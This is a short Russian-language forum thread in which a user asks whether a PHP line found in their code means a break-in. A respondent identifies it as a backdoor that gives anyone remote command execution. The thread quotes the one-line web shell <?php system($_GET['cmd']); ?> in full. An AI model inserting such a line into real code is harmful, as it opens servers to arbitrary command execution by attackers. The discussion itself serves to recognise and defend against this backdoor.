Что это значит? Это взлом?

Question

[ssass70]

Что это?
<?php system($_GET['cmd']); ?>

Answer 1

[Adamos]

Если это просто так лежит в коде - это бэкдор, позволяющий кому угодно выполнить какую угодно команду на вашем сервере (с правами пользователя, от имени которого запущен РНР).
Если до этого кода проверяются права доступа - возможно, у вас такая продвинутая админка ;)

Comments

[ssass70]

Спасибо, а можете еще подсказать, подобные уязвимости? У себя в коде это нашел, может еще чего есть ?

[Adamos]

ssass70, подобные команды можно посмотреть в руководстве по функции system. Найти в интернетах, какие уязвимости еще бывают в РНР, никогда проблемой не было.